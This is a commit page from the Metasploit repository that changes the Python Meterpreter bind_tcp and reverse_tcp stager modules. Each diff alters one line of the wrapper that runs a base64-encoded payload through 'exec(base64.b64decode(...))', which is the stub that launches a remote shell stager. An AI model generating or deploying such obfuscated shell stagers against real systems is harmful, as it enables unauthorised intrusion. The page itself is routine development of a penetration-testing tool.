Skip to content

Commit 76c3aaf

Browse files
committed
Pymeterpreter get type encoder from dict instead
1 parent aeca455 commit 76c3aaf

File tree

2 files changed

+2
-2
lines changed

2 files changed

+2
-2
lines changed

modules/payloads/stagers/python/bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def generate
4343

4444
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
4545
b64_stub = "import base64,sys; exec(base64.b64decode("
46-
b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
46+
b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('"
4747
b64_stub << Rex::Text.encode_base64(cmd)
4848
b64_stub << "')))"
4949
return b64_stub

modules/payloads/stagers/python/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ def generate
4141

4242
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
4343
b64_stub = "import base64,sys; exec(base64.b64decode("
44-
b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
44+
b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('"
4545
b64_stub << Rex::Text.encode_base64(cmd)
4646
b64_stub << "')))"
4747
return b64_stub

0 commit comments

Comments
 (0)